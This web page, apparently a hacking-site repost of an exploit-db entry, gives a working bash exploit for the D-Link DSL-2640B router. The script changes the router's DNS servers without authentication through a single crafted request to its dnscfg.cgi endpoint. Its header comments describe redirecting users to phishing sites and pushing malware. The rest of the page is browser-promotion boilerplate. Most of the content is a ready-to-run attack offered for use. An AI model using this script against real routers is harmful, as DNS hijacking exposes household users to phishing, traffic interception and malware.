d-link-dsl-2640B

D-Link DSL-2640B – Unauthenticated Remote DNS Change

[php]

#!/bin/bash
#
# D-Link ADSL DSL-2640B GE_1.07
# Unauthenticated Remote DNS Change Exploit
#
# Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>
# https://www.ethical-hacker.org/
# https://www.facebook.com/ethicalhackerorg
#
# Description:
# The vulnerability exist in the web interface, which is
# accessible without authentication.
#
# Once modified, systems use foreign DNS servers, which are
# usually set up by cybercriminals. Users with vulnerable
# systems or devices who try to access certain sites are
# instead redirected to possibly malicious sites.
#
# Modifying systems’ DNS settings allows cybercriminals to
# perform malicious activities like:
#
# o Steering unknowing users to bad sites:
# These sites can be phishing pages that
# spoof well-known sites in order to
# trick users into handing out sensitive
# information.
#
# o Replacing ads on legitimate sites:
# Visiting certain sites can serve users
# with infected systems a different set
# of ads from those whose systems are
# not infected.
#
# o Controlling and redirecting network traffic:
# Users of infected systems may not be granted
# access to download important OS and software
# updates from vendors like Microsoft and from
# their respective security vendors.
#
# o Pushing additional malware:
# Infected systems are more prone to other
# malware infections (e.g., FAKEAV infection).
#
# Disclaimer:
# This or previous programs is for Educational
# purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the
# fact that Todor Donev is not liable for any
# damages caused by direct or indirect use of the
# information or functionality provided by these
# programs. The author or any Internet provider
# bears NO responsibility for content or misuse
# of these programs or any derivatives thereof.
# By using these programs you accept the fact
# that any damage (dataloss, system crash,
# system compromise, etc.) caused by the use
# of these programs is not Todor Donev’s
# responsibility.
#
# Use them at your own risk!
#
#

if [[ $# -gt 3 || $# -lt 2 ]]; then
echo " D-Link ADSL DSL-2640B GE_1.07 "
echo " Unauthenticated Remote DNS Change Exploit"
echo " ==================================================================="
echo " Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
echo " Example: $0 133.7.133.7 8.8.8.8"
echo " Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
echo ""
echo " Copyright 2017 (c) Todor Donev <todor.donev at gmail.com>"
echo " https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
echo " Error : libwww-perl not found =/"
exit;
fi
GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1

[/php]

https://www.exploit-db.com/exploits/42197/

Support Us!

Please consider downloading Brave Browser by downloading Brave Browser through our website you won’t only be downloading a great privacy browser you will also be supporting (HackingVision.com). We are not using Google Ads as we respect our users privacy. We encourage you to use an Ad-blocker or a browser that has a built in ad-blocker and other privacy features such as VPN.

Download Brave browser

Spread the love

Please consider downloading Brave Browser by downloading Brave Browser through our website you won’t only be downloading a great privacy browser you will also be supporting (HackingVision.com). We are not using Google Ads as we respect our users privacy. We encourage you to use an Ad-blocker or a browser that has a built in ad-blocker and other privacy features such as VPN.

Download Brave browser

yoast seo premium free